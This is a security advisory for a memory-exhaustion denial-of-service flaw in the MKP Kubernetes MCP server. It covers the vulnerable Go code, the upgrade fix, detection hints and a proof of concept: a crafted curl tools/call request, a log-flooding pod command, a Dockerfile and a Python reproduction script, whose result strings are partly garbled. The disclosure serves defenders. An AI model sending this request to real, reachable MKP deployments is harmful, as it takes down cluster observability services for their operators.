CVE-2026-50125: MKP: Unbounded Pod Log Read via Attacker-Controlled `limitBytes`/`tailLines` Causes Memory Exhaustion

The get_resource tool proxies Kubernetes pod log reads. In pkg/k8s/subresource.go, buildPodLogOpts() parses limitBytes and tailLines with strconv.ParseInt and applies them with no cap. Supplying parameters replaces the 32 KB default completely. defaultGetPodLogs() then runs io.Copy(buf, podLogs) into a bytes.Buffer, so the whole stream sits in memory. JSON serialization and MCP response wrapping make more copies; the reporter saw about 9 times the raw log size.

The server binds to :8080 on all interfaces with no authentication by default, and get_resource is registered without the --read-write flag. So anyone who can reach the port can send a single tools/call request with tailLines of 999999999 and limitBytes of 2147483647 against a pod with large logs. The reporter's test with a 128 MB limit grew resident memory from 25.8 MB to 1,179.3 MB.

The rate limiter (120 requests a minute) limits frequency, not data per request, so it does not help. The effect is availability only (A:H): the MKP process is killed and every client that relies on it for cluster observability loses the service. Clusters with chatty system pods make it easy.

Go module github.com/StacklokLabs/mkp before 0.4.1, in a default configuration where the server listens on port 8080 and get_resource is registered. The advisory's own affected field is a commit hash, not a range, but the data here shows versions below 0.4.1. Check the module version or the binary you deployed:

go list -m github.com/StacklokLabs/mkp

For a container image, check the image tag against v0.4.1.

Upgrade to v0.4.1:

go get github.com/StacklokLabs/[email protected]

Rebuild and redeploy the server or pull the matching image. The advisory names no official workaround. Its suggested code fix caps tailLines at 1000 and limitBytes at 1 MB and wraps the log stream in an io.LimitedReader. If you cannot upgrade, limit network access to port 8080 to trusted clients, since the endpoint has no authentication, and set a memory limit on the container so a crash does not take down the host.

Look for tools/call requests to /mcp with get_resource, subresource set to logs, and very large limitBytes or tailLines values such as 2147483647 or 999999999. Watch the MKP process for sudden resident-memory growth, OOM kills (OOMKilled in kubectl describe pod, or kernel Out of memory lines) and repeated restarts. Check access logs for callers on port 8080 that are not your known MCP clients.

Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion

Summary

The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.

Details

The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.

Source — unbounded parameter parsing (`pkg/k8s/subresource.go:171–181`):

// pkg/k8s/subresource.go
defaultLimitBytes := int64(32 * 1024) // 32 KB — only used when parameters map is nil
...
if limitBytes, ok := parameters["limitBytes"]; ok {
    if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
        podLogOpts.LimitBytes = &b  // no upper-bound check
    }
}
if tailLines, ok := parameters["tailLines"]; ok {
    if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
        podLogOpts.TailLines = &lines  // no upper-bound check
    }
}

When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94–96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.

Sink — unbounded in-memory copy (`pkg/k8s/subresource.go:114–115`):

buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs)  // entire Kubernetes stream copied into RAM

The stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).

Attack path (source → sink):

| Step | Location | Description |
| 1 | `cmd/server/main.go:30` | Server binds to `:8080` on all interfaces; no authentication by default |
| 2 | `pkg/mcp/server.go:131` | `NewGetResourceTool()` registered unconditionally (no `--read-write` required) |
| 3 | `pkg/mcp/get_resource.go:28–38` | Attacker-controlled `parameters` map parsed from `CallToolRequest` |
| 4 | `pkg/mcp/get_resource.go:76` | `client.GetResource(..., parameters)` called |
| 5 | `pkg/k8s/subresource.go:32–33` | `resource=pods` + `subresource=logs` routes into `getPodLogs` |
| 6 | `pkg/k8s/subresource.go:171–181` | `limitBytes` / `tailLines` parsed without upper bound (source) |
| 7 | `pkg/k8s/subresource.go:114–115` | `io.Copy(buf, podLogs)` loads full stream into `bytes.Buffer` (sink) |

The rate limiter (pkg/ratelimit/config.go:16–17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.

Suggested remediation:

+const (
+    maxPodLogTailLines  int64 = 1000
+    maxPodLogLimitBytes int64 = 1024 * 1024  // 1 MB hard cap
+)
+
 buf := new(bytes.Buffer)
-_, err = io.Copy(buf, podLogs)
+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
+_, err = io.Copy(buf, limitedLogs)
+if limitedLogs.N == 0 {
+    return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
+}

 if limitBytes, ok := parameters["limitBytes"]; ok {
     if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
+        if b <= 0 || b > maxPodLogLimitBytes {
+            b = maxPodLogLimitBytes
+        }
         podLogOpts.LimitBytes = &b
     }
 }
 if tailLines, ok := parameters["tailLines"]; ok {
     if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
+        if lines <= 0 || lines > maxPodLogTailLines {
+            lines = maxPodLogTailLines
+        }
         podLogOpts.TailLines = &lines
     }
 }

PoC

Prerequisites

• Docker (for self-contained reproduction)
• A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
• MKP server accessible on port 8080

---

Option A — Self-contained Docker reproduction (Phase 2 method)

This method uses a mock Kubernetes API that streams 128 MB of log data:

# 1. Clone the repository and enter it
git clone https://github.com/StacklokLabs/mkp.git
cd mkp

# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .

# 3. Run the exploit container — output includes RSS measurements
docker run --rm mkp-vuln-001

Expected output (condensed):

Initial RSS:  26464 kB  ( 25.8 MB)
t+01s: MKP RSS =  383080 kB  ( 374.1 MB)  [in-progress]
t+02s: MKP RSS =  683876 kB  ( 667.8 MB)  [in-progress]
t+03s: MKP RSS =  945008 kB  ( 922.9 MB)  [in-progress]
t+06s: MKP RSS = 1207560 kB  (1179.3 MB)  [in-progress]
Peak RSS: 1207572 kB (1179.3 MB)
Delta RSS: 1181108 kB (1153.4 MB)
VERDICT: CONFIRMED — RSS grew 1153.4 MB (limitBytes=128 MB)

---

Option B — Real Kubernetes environment (manual)

# 1. Build and start MKP server (default transport: streamable-http on :8080)
git clone https://github.com/StacklokLabs/mkp.git && cd mkp
task build
./build/mkp-server --kubeconfig=/path/to/kubeconfig

# 2. Create a pod that generates large logs
kubectl -n default run logbomb --image=busybox --restart=Never -- \
    sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

# Wait ~30 seconds for logs to accumulate, then:

# 3. Send the exploit request
curl -sS http://127.0.0.1:8080/mcp \
    -H 'Content-Type: application/json' \
    -H 'Accept: application/json, text/event-stream' \
    --data '{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "tools/call",
      "params": {
        "name": "get_resource",
        "arguments": {
          "resource_type": "namespaced",
          "group": "",
          "version": "v1",
          "resource": "pods",
          "namespace": "default",
          "name": "logbomb",
          "subresource": "logs",
          "parameters": {
            "tailLines": "999999999",
            "limitBytes": "2147483647"
          }
        }
      }
    }'

Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.

Impact

This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.

Who is impacted:

• Any operator running mkp-server in its default configuration (no --read-write flag required; get_resource is registered by default on :8080 without authentication).
• Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., kube-system workloads in production clusters almost always satisfy this condition).
• Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.

A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.

No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.

Reproduction artifacts

Dockerfile

# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
FROM golang:1.25 AS builder

# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
ENV GOTOOLCHAIN=local
ENV CGO_ENABLED=0

WORKDIR /src

# Copy the source tree (build con = parent of vuln-001/)
COPY repo/ .

RUN go build -o /mkp-server ./cmd/server

# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
FROM python:3.12-slim

RUN apt-get update && \
 apt-get install -y --no-install-recommends procps curl && \
 rm -rf /var/lib/apt/lists/*

COPY --from=builder /mkp-server /usr/local/bin/mkp-server

COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
COPY vuln-001/exploit.py /workspace/exploit.py
COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh

RUN chmod +x /workspace/entrypoint.sh

CMD ["/workspace/entrypoint.sh"]

poc.py

#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction Orchestrator.

Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
Run  : docker run --rm mkp-vuln-001

Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
tools/call request with limitBytes=134217728 (128 MB), proving that
defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
"""
import json
import os
import re
import subprocess
import sys
from pathlib import Path

WORK_DIR = Path(__file__).parent.resolve()
REPO_ROOT = WORK_DIR.parent
IMAGE = "mkp-vuln-001"
BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
RUN_CMD   = f"docker run --rm {IMAGE}"


# ─────────────────────────────────────────────────────────────────────────────
def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
    """Run a shell command, stream its output, and return (rc, full_output)."""
    proc = subprocess.Popen(
        cmd, shell=True,
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
        text=True, cwd=cwd,
    )
    lines = []
    for line in proc.stdout:
        print(line, end='', flush=True)
        lines.append(line)
    proc.wait()
    return proc.returncode, ''.join(lines)


def save_result(result: dict):
    path = WORK_DIR / 'phase2_result.json'
    with open(path, 'w', encoding='utf-8') as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[poc] Result saved → {path}")


def parse_evidence(output: str) -> dict:
    ev: dict = {}
    m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
    if m:
        ev['initial_kb'] = int(m.group(1))
        ev['initial_mb'] = ev['initial_kb'] / 1024

    m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
    if m:
        ev['peak_kb'] = int(m.group(1))
        ev['peak_mb'] = ev['peak_kb'] / 1024

    m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
    if m:
        ev['delta_kb'] = int(m.group(1))
        ev['delta_mb'] = float(m.group(2))
    elif 'peak_kb' in ev and 'initial_kb' in ev:
        ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
        ev['delta_mb'] = ev['delta_kb'] / 1024

    m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
    if m:
        ev['verdict_line'] = m.group(0)

    return ev


def extract_evidence_block(output: str) -> str:
    """Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
    m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
    if m:
        return m.group(0)[:3000]
    return output[-3000:]


# ─────────────────────────────────────────────────────────────────────────────
def main():
    print("=" * 60)
    print("VULN-001: Unbounded Pod Log Read — Dynamic Reproduction")
    print("=" * 60)

    os.chdir(REPO_ROOT)

    # ── Docker build ──────────────────────────────────────────────────────────
    print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
    rc, build_output = run_streaming(BUILD_CMD)
    if rc != 0:
        reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
        save_result({
            "passed": False,
            "verdict": "FAIL",
            "reason": reason,
            "build_command": BUILD_CMD,
            "run_command": RUN_CMD,
            "poc_command": "python3 vuln-001/poc.py",
            "evidence": build_output[-2000:],
            "artifacts": ["Dockerfile", "poc.py"],
        })
        print(f"\n[poc] FAIL: {reason}")
        return False

    print("\n[poc] Build OK.")

    # ── Docker run ────────────────────────────────────────────────────────────
    print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
    rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
    print(f"\n[poc] Container exited (code={rc})")

    ev = parse_evidence(run_output)
    delta_mb = ev.get('delta_mb', 0.0)
    print(f"[poc] Parsed evidence: {ev}")

    # ── Verdict ───────────────────────────────────────────────────────────────
    passed = delta_mb >= 50.0

    if passed:
        verdict = "PASS"
        init_mb = ev.get('initial_mb', 0)
        peak_mb = ev.get('peak_mb', 0)
        reason = (
            f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
            f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
            f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
            f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
        )
    else:
        verdict = "INCOMPLETE"
        reason = (
            f"RSS text {delta_mb:.1f} MB — 50 MB criteria text. "
            f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
            f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
        )

    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": "python3 vuln-001/poc.py",
        "evidence": extract_evidence_block(run_output),
        "artifacts": ["Dockerfile", "poc.py"],
    }
    save_result(result)

    print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
    return passed


if __name__ == '__main__':
    ok = main()
    sys.exit(0 if ok else 1)